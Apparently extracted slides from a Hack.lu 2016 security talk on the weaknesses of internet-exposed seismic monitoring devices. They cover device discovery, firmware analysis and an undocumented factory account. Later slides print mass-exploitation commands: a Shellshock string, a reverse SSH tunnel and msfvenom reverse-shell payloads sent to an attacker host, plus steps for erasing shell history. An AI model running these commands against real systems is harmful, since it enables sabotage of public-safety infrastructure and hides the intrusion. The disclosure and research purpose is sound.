49
How to remotely exploit and attack seismological networks

Hack.lu 2016

Embed Size (px)

Citation preview

Page 1: Hack.lu 2016

How to remotely exploit and attack seismological networks

Page 2: Hack.lu 2016

Disclaimer

- All vulnerabilities have been reported to U.S CERT and EU-CERT

- We are not responsible of the actions that someone can take after attend this talk

jamesjara

Page 3: Hack.lu 2016

Outline

● Motivation/Background● Introduction to Seismology space● Impact

DEM

O

jamesjara

Page 4: Hack.lu 2016

jamesjara

Page 5: Hack.lu 2016

jamesjara

Page 6: Hack.lu 2016

Motivation, Why we are interested in seismological networks?

- An average attacker is not interested for this targets

- Cool scenario: ¨extreme environment¨- Could lead to a financial sabotage to a specific

company/country

jamesjara

Page 7: Hack.lu 2016

Seismic and volcanic activity in many developing countries

Page 8: Hack.lu 2016

Basic Seismology

The main purpose of a seismic network is to:

● Record earthquakes with seismic stations ● Find the location of the earthquake ● Calculate the magnitude of the earthquake ● Process and store the data for further scientific

analysis

jamesjara

Page 9: Hack.lu 2016

Seismometers

jamesjara

Page 10: Hack.lu 2016

Seismometers

jamesjara

Page 11: Hack.lu 2016

Seismic Sensors

jamesjara

Broad band sensor$15000

Accelerometer, $3000Geophone, $ 100

Page 12: Hack.lu 2016

Vendors found

jamesjara

Page 13: Hack.lu 2016

Internals

● Linux based OS ● Remote management ● SSH TELNET FTP ● Web Server ● GPS Ocean bottom ● Battery/Solar panels

jamesjara

Page 14: Hack.lu 2016

jamesjara

Page 15: Hack.lu 2016

Earth Deployment

jamesjara

Page 16: Hack.lu 2016

Ocean Bottom Deployment

jamesjara

Page 17: Hack.lu 2016

jamesjara

Page 18: Hack.lu 2016

SeismicTopology

jamesjara

Page 19: Hack.lu 2016

FDSN is a global organization supporting seismology research

jamesjara

Page 20: Hack.lu 2016

IMPACT jamesjara

We discovered that these instruments/devices are connected to the Internet

but they lack proper security policies

Page 21: Hack.lu 2016

What if a fake earthquake magnitude 8 on the Richter scale "Were shaking" the city of Madrid? Probably, even being a

hoax, the economy would suffer a collapse and some companies would have serious problems due to the

uncertainty.

jamesjara

Page 22: Hack.lu 2016

What if a company modifies the sensors of other company in order to generate wrong results.

...

GAS & OIL INDUSTRY

jamesjara

Page 23: Hack.lu 2016

What if Data Acquisition Servers contains corrupted data?Predictions will fail?

jamesjara

Disclaimer: we are not suggesting relation between the newspaper note and title

Page 24: Hack.lu 2016

TOO MUCH TALK!!!

ROOT..ROOT@ROOT

DEMO TIME .

Page 25: Hack.lu 2016

ATTACK & jamesjara

PENETRATION

Page 26: Hack.lu 2016

● Footprinting, How we discovered this device? NETDB.IO

● Fingerprinting● Getting the FIRMWARE● Reading the papers

jamesjaraATTACK & PENETRATION

Page 27: Hack.lu 2016

jamesjara

NETDB

Page 28: Hack.lu 2016

Fingerprint

Jetty/5.1.x Linux/2.4.24NMX-TAURUS-1.4.8 ppc java/1.5.0

jamesjaraATTACK & PENETRATION

Page 29: Hack.lu 2016

Getting theFirmware

jamesjaraATTACK & PENETRATION

Page 30: Hack.lu 2016

Getting theFirmware

..busted!

jamesjaraATTACK & PENETRATION

Page 31: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Page 32: Hack.lu 2016

Gathering information from the docs.SEED PROTOCOL: The Standard for the Exchange of Earthquake Data (SEED) is a data format

intended primarily for the archival and exchange of seismological time series data and related metadata.

Data identification nomenclature:● Network code: a 1 or 2 character code identifying the network/owner of the data. These codes are assigned by the FDSN to provide

uniqueness to seismological data, new codes may be requested. (network code could be spoofed?)● Station code: a 1 to 5 character identifier for the station recording the data.● Location ID: a 2 character code used to uniquely identify different data streams at a single station. These IDs are commonly used to

logically separate multiple instruments or sensor sets at a single station.● Channel codes: a 3 character combination used to identify the 1) band and general sample rate 2) the instrument type and 3) the

orientation of the sensor. A convention for these codes has been established and is documented in Appendix A of the SEED Manual.

jamesjaraATTACK & PENETRATION

Page 33: Hack.lu 2016

GURALPSYSTEMS:

GURALP Systems are easy to find looking in the SSL certificate metadata in NetDB

jamesjaraATTACK & PENETRATION

Page 34: Hack.lu 2016

TOOLS● collect-ips-worlwide-taurus-devices.py: Scans from NETDB.IO and SHODAN devices with the

taurus fingerprint.

● nmap-csv-ports.pl: Converts nmap results to <IP,HOST,<PORTS,>>

● scan_devices.sh: By each ip will scan the opened ports

jamesjaraATTACK & PENETRATION

Page 35: Hack.lu 2016
Page 36: Hack.lu 2016

jamesjaraATTACK & PENETRATION

TELNET, SSH AND HTTP

Page 37: Hack.lu 2016

Screenshots of the Web Application: Execute ./screenshot-ips.py

jamesjaraATTACK & PENETRATION

Page 38: Hack.lu 2016

jamesjaraATTACK & PENETRATION

JettyServer

Page 39: Hack.lu 2016

Firmware Analysis:Backdoor! Factory user is not in official documentation.

jamesjaraATTACK & PENETRATION

Page 40: Hack.lu 2016

Ok , now we are root so .. What’s next ?

Page 41: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Shellshock: Testing.. you know..PWD!! Shellshock!

Page 42: Hack.lu 2016

Take a malicious user perspective to protect YOUR data.

Page 43: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Man in the Middle

Page 44: Hack.lu 2016

jamesjara

Page 45: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Massive Exploiting of the Seismological Networks:

Disclaimer: please do not try to brake the network, scientist use network to save hundreds of lives, our lives.

Before using the script Executing massive process:● Disable your SSH HOST KEY CHECKING feature - Load txt file with the targeted ips● Tunneling/proxying chain - execute ./parallel-ssh-tauros.py and we

are in.!

Page 46: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Massive Exploiting of the Seismological Networks:More examples:./parallel-ssh-tauros.py -t targets.txt -c uname./parallel-ssh-tauros.py -t targets.txt -c “x='() { :;}; echo restart' bash -c :" ./parallel-ssh-tauros.py -t targets.txt -c “ssh -NR 3333:localhost:22 user@yourhost”./parallel-ssh-tauros.py -t targets.txt -c “msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1..............”

Page 47: Hack.lu 2016

jamesjaraATTACK & PENETRATION

./parallel-ssh-tauros.py cleanhistory -crm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)touch ~/.bash_history (invasive) zsh% unset HISTFILE HISTSIZEtcsh% set history=0bash$ set +o historyksh$ unset HISTFILEfind / -type f -exec {} (forensics nightmare)

Page 48: Hack.lu 2016

Conclusions

● We are be able to locate this devices anywhere in the world

● We are in control of the device , the network and the software running on it.

● There is no SSL in communications● Vendors please… code better and think in

security

jamesjara

Page 49: Hack.lu 2016

Conclusions

● We are be able to locate this devices anywhere in the world

● We are in control of the device , the network and the software running on it.

● There is no SSL in communications● Vendors please… code better and think in

security

jamesjara

[email protected] 2016